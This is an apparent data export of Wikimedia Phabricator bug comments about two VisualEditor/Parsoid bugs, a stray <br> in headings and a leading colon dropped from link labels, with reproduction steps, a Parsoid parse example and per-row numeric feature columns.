421904,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"No reproduction steps in > 18 months. If you can give some more details, please re-open.",,,1425599536,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,87,,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,14.0,5.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,3.4761904761904763,0.9523809523809523,"No reproduction steps in > 18 months. If you can give some more details, please re-open."
248649,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"(BTW, I really couldn't play that vid on YouTube.)",,,1380121710,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"(BTW, I really couldn't play that vid on YouTube.)"
248641,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"The steps are clear in AzaToth's video, but I can't reproduce that either: have you fixed something about ↵ being displayed, this week?",,,1380121219,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,False,,,12,,0.0,3.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,10.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,10.0,3.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.896551724137931,0.9655172413793104,"The steps are clear in AzaToth's video, but I can't reproduce that either: have you fixed something about ↵ being displayed, this week?"
248635,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,Does anyone have any steps to reproduce? I can't reproduce in Firefox or Chrome whilst playing around…,,,1380069203,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,12,,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,20.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,5.0,20.0,10.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.3,0.95,Does anyone have any steps to reproduce? I can't reproduce in Firefox or Chrome whilst playing around…
248628,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,Also reported at https://fr.wikipedia.org/w/index.php?title=Cabinet_des_estampes_et_des_dessins_de_Strasbourg&curid=1591028&diff=96701784&oldid=96701717,,,1379352540,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Also reported at URL
248620,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,Also reported at http://mr.wikipedia.org/w/index.php?title=%E0%A4%9F%E0%A4%BE%E0%A4%95%E0%A4%A3%E0%A4%95%E0%A4%BE%E0%A4%B0_(%E0%A4%B8%E0%A4%AE%E0%A4%BE%E0%A4%9C)&curid=66935&diff=1193242&oldid=1193112 .,,,1375704033,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,Also reported at URL .
248612,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,*** Bug 52021 has been marked as a duplicate of this bug. ***,,,1374767614,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52021 has been marked as a duplicate of this bug. ***
248608,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"AzaToth made a screencast at http://youtu.be/G_xXETTVgO0 showing the issue.

Gwicke filed bug 50683 on the parsoid side -- we shouldn't allow newlines in a heading when we serialize to wikitext.

But there's still a VE issue -- where is the ↵ coming from (visible in AzaToth's screencast).  VE shouldn't be putting the newline inside the heading.",,,1373987836,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,3.0,3.0,1.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,1.0,3.0,0.0,9.0,10.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,3.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,12.0,3.0,10.0,3.0,1.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,10.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,4.0,0.0,4.0,0.0,0.0,0.0,3.898550724637681,0.6956521739130435,"AzaToth made a screencast at URL showing the issue.

Gwicke filed bug 50683 on the parsoid side -- we shouldn't allow newlines in a heading when we serialize to wikitext.

But there's still a VE issue -- where is the ↵ coming from (visible in AzaToth's screencast).  VE shouldn't be putting the newline inside the heading."
248602,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"See also https://www.mediawiki.org/w/index.php?title=User%3AGWicke&diff=723931&oldid=655405

So the <!-- ... --> comment doesn't seem to have anything to do with it.",,,1373987078,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,2,,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.9166666666666665,0.9166666666666666,"See also URL

So the <!-- ... --> comment doesn't seem to have anything to do with it."
53442,Leading colon in link label is wrongly removed from wikitext,"```
[subbu@earth:~/work/wmf/parsoid] echo '<a rel=""mw:WikiLink"" href=""./Foobar"">:foobar</a>' | php bin/parse.php --html2wt
[[:foobar]]

[subbu@earth:~/work/wmf/parsoid] echo '<a rel=""mw:WikiLink"" href=""./Foobar"">:foobar</a>' | php bin/parse.php --html2html --body_only
<p data-parsoid='{""dsr"":[0,11,0,0]}'><a rel=""mw:WikiLink"" href=""./Foobar"" title=""Foobar"" data-parsoid='{""stx"":""simple"",""a"":{""href"":""./Foobar""},""sa"":{""href"":"":foobar""},""dsr"":[0,11,2,2]}'>foobar</a></p>
```",Low,25.0,1373984340,,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_description,open,True,c1,3,False,False,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.6,0.4,``CODE``
248516,Leading colon in link label is wrongly removed from wikitext,"(In reply to comment #11)
> My point is mainly that VE could easily understand when the punctuation is
> added by mistake, because the label and the target link will be different. So
> if the target does not feature a punctuation mark, but the label does, that
> was probably not wanted. 

Unfortunately we have to handle the case when it was intentional, so we can't just blindly auto-correct it. Also the definition of what is punctuation becomes much more complex when you are dealing with thousands of languages.",,,1379678052,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,True,,,11,,2.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,15.0,12.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,5.0,12.0,5.0,0.0,3.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,8.0,12.0,3.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,3.95,0.7833333333333333,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE

Unfortunately we have to handle the case when it was intentional, so we can't just blindly auto-correct it. Also the definition of what is punctuation becomes much more complex when you are dealing with thousands of languages."
248512,Leading colon in link label is wrongly removed from wikitext,"This is a Parsoid bug (the colon part, at least):

<a rel=""mw:WikiLink"" href=""./Foobar"">:foobar</a>

serialises to:

[[:foobar]]

which converts back to

<a rel=""mw:WikiLink"" href=""./Foobar"">foobar</a>",,,1379677931,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,9.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,15.0,0.0,4.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,11.0,4.0,0.6739130434782609,"This is a Parsoid bug (the colon part, at least):

<a rel=""mw:WikiLink"" href=""./Foobar"">:foobar</a>

serialises to:

[[:foobar]]

which converts back to

<a rel=""mw:WikiLink"" href=""./Foobar"">foobar</a>"
248507,Leading colon in link label is wrongly removed from wikitext,"I am leaving aside the semicolon issue, covered elsewhere.
About what I reported in Comment 5:

1) Type "":foobar""
2) select all of this, from the colon (included) to the final r
3) click on the linking tool, and make this a link to the article ""foobar""
4) save.
*outcome: the colon is included in the link; the link is working but the colon is invisible (and I think this is certainly not desirable).

Please note that this also happens to "": foobar"", that is, if the colon and the typed word are separated by a space.


1) Type ""foobar:""
2) select all of this, from the f to the colon, including it
3) click on the linking tool, and make this a link to ""foobar""
4) save.
*outcome: the colon is included in the link, it is visible, the link works fine (and I think this is not good code).

Please note that when a piped link is created instead (for example if foobar is a link to Foobar2000), the colons will be part of the link in every case and they will all be visible.

My point is mainly that VE could easily understand when the punctuation is added by mistake, because the label and the target link will be different. So if the target does not feature a punctuation mark, but the label does, that was probably not wanted. 

HTH.",,,1379619273,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,False,,,11,,1.25,0.0,0.0,1.75,1.25,2.5,2.0,0.25,0.0,0.75,1.25,0.0,0.0,0.0,0.0,1.25,0.0,5.5,7.5,0.0,0.25,0.0,0.0,0.25,0.5,0.0,0.0,0.0,0.25,1.0,0.0,5.0,1.25,0.5,0.75,0.0,0.0,0.0,0.5,0.0,0.0,0.25,0.0,0.75,0.5,1.25,0.0,0.0,0.5,12.25,1.25,1.25,0.25,0.0,0.0,0.0,0.0,0.0,1.25,0.25,0.25,1.25,0.0,0.75,0.0,0.0,0.25,8.25,4.75,4.25,2.5,2.5,10.75,0.0,0.0,0.0,0.0,4.0,0.5,1.25,0.0,2.25,7.5,2.0,0.0,2.5,0.0,2.25,0.0,1.25,1.5,0.0,1.25,0.0,0.0,1.0,3.3214285714285716,0.6503332194121668,"I am leaving aside the semicolon issue, covered elsewhere.
About what I reported in Comment 5:

1) Type "":foobar""
2) select all of this, from the colon (included) to the final r
3) click on the linking tool, and make this a link to the article ""foobar""
4) save.
*outcome: the colon is included in the link; the link is working but the colon is invisible (and I think this is certainly not desirable).

Please note that this also happens to "": foobar"", that is, if the colon and the typed word are separated by a space.


1) Type ""foobar:""
2) select all of this, from the f to the colon, including it
3) click on the linking tool, and make this a link to ""foobar""
4) save.
*outcome: the colon is included in the link, it is visible, the link works fine (and I think this is not good code).

Please note that when a piped link is created instead (for example if foobar is a link to Foobar2000), the colons will be part of the link in every case and they will all be visible.

My point is mainly that VE could easily understand when the punctuation is added by mistake, because the label and the target link will be different. So if the target does not feature a punctuation mark, but the label does, that was probably not wanted. 

HTH."
248500,Leading colon in link label is wrongly removed from wikitext,"This is indeed reproducable, and not just with semi-colons, but it is not this bug. I've reported it separately as bug 54332 including how to reproduce it.",,,1379606034,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,18.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,6.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7941176470588234,0.7941176470588235,"This is indeed reproducable, and not just with semi-colons, but it is not this bug. I've reported it separately as bug 54332 including how to reproduce it."
248495,Leading colon in link label is wrongly removed from wikitext,Can you leave some step-by-step instructions to reproduce the bug for clarification?,,,1379604129,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,True,,,11,,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,18.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.294117647058823,0.8823529411764706,Can you leave some step-by-step instructions to reproduce the bug for clarification?
248491,Leading colon in link label is wrongly removed from wikitext,"About semicolons, we got another feedback that I managed to reproduce, see https://en.wikipedia.org/w/index.php?title=User%3AElitre_%28WMF%29%2FSandbox&diff=573644513&oldid=573644268 .
I wrote French; and turned that into a wikilink, including the semicolon.
Then I added some text between the end of the word and the semicolon. The result is that we now have two wikilinks to the same word, and a nowiki tag in the middle.",,,1379599394,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,False,,,11,,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,11.0,0.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,13.0,1.0,11.0,1.0,4.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,7.0,11.0,1.0,0.0,0.0,0.0,7.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.742857142857143,0.6714285714285714,"About semicolons, we got another feedback that I managed to reproduce, see URL .
I wrote French; and turned that into a wikilink, including the semicolon.
Then I added some text between the end of the word and the semicolon. The result is that we now have two wikilinks to the same word, and a nowiki tag in the middle."
248486,Leading colon in link label is wrongly removed from wikitext,"Yes Ed, in both cases I selected the colon and the word and then used the link tool. I know that you can get the first result also in the source editor, but the second one definitely does not produce a working link with the source editor, and anyway I was not really sure if it makes sense having a wikilink which includes a colon and then makes it invisible. If you think none of these behaviours should be prevented or worked on anyway, please just re-close this. Thanks.",,,1379512496,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,1.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,9.0,1.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,6.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,18.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,10.0,2.0,7.0,3.0,6.0,14.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,8.0,9.0,1.0,0.0,0.0,0.0,8.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.888888888888889,0.696969696969697,"Yes Ed, in both cases I selected the colon and the word and then used the link tool. I know that you can get the first result also in the source editor, but the second one definitely does not produce a working link with the source editor, and anyway I was not really sure if it makes sense having a wikilink which includes a colon and then makes it invisible. If you think none of these behaviours should be prevented or worked on anyway, please just re-close this. Thanks."
248481,Leading colon in link label is wrongly removed from wikitext,"Can you explain how those cases were created. From what I can see colons don't extend link annotations, but if you select over a colon and use the link tool you're going to end up with weird stuff like that anyway.",,,1379507908,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,7.0,15.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,2.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,4.0,2.0,7.0,4.0,4.0,9.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,9.0,15.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,3.782608695652174,0.9130434782608695,"Can you explain how those cases were created. From what I can see colons don't extend link annotations, but if you select over a colon and use the link tool you're going to end up with weird stuff like that anyway."
248475,Leading colon in link label is wrongly removed from wikitext,"I am reopening this since I noticed that colons at least still get included in the links: here https://en.wikipedia.org/w/index.php?title=User%3AElitre_%28WMF%29%2FSandbox&diff=573483719&oldid=573483114 the line beginning with ""Performance problems: VisualEditor"" has the colon included in the wikilink of the lattest word; the link works fine but you don't get to see the colon at all.
https://en.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&diff=next&oldid=573483774 Here instead it is included in the wikilink to Issues, and I am not sure it's desirable either. Thanks.",,,1379507107,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,False,,,11,,1.0,0.0,0.0,1.0,2.0,5.0,1.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,4.0,0.0,12.0,13.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,10.0,2.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,18.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,12.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,13.0,1.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.8674698795180724,0.6987951807228916,"I am reopening this since I noticed that colons at least still get included in the links: here URL the line beginning with ""Performance problems: VisualEditor"" has the colon included in the wikilink of the lattest word; the link works fine but you don't get to see the colon at all.
URL Here instead it is included in the wikilink to Issues, and I am not sure it's desirable either. Thanks."
248468,Leading colon in link label is wrongly removed from wikitext,"(In reply to comment #3)
> Links are no longer getting extended automatically when any text is added at
> the end, including commas, semicolons, etc. Possibly a result of the fix for
> bug 51463

Indeed, this was fixed in that.",,,1377830517,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,22.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.869565217391304,0.8260869565217391,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE

Indeed, this was fixed in that."
248461,Leading colon in link label is wrongly removed from wikitext,"Links are no longer getting extended automatically when any text is added at the end, including commas, semicolons, etc. Possibly a result of the fix for bug 51463",,,1377448214,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-aeyfn2tjv55fvu4s3qp4,task_subcomment,,True,c1,3,False,,,7,,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,6.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,3.0,0.0,6.0,4.25,0.90625,"Links are no longer getting extended automatically when any text is added at the end, including commas, semicolons, etc. Possibly a result of the fix for bug 51463"
248455,Leading colon in link label is wrongly removed from wikitext,"(In reply to comment #1)
> instead of just the former (perhaps some kind of inline block wrapper around
> the link, e.g. like Apple does in Mail and Calendar when text contains a
> reference to a contact. It looks like ""Foo { bar } quux."" Where bar has a
> rounded bubble around it when hovered and the cursor can be placed inside or
> outside the bubble.

)

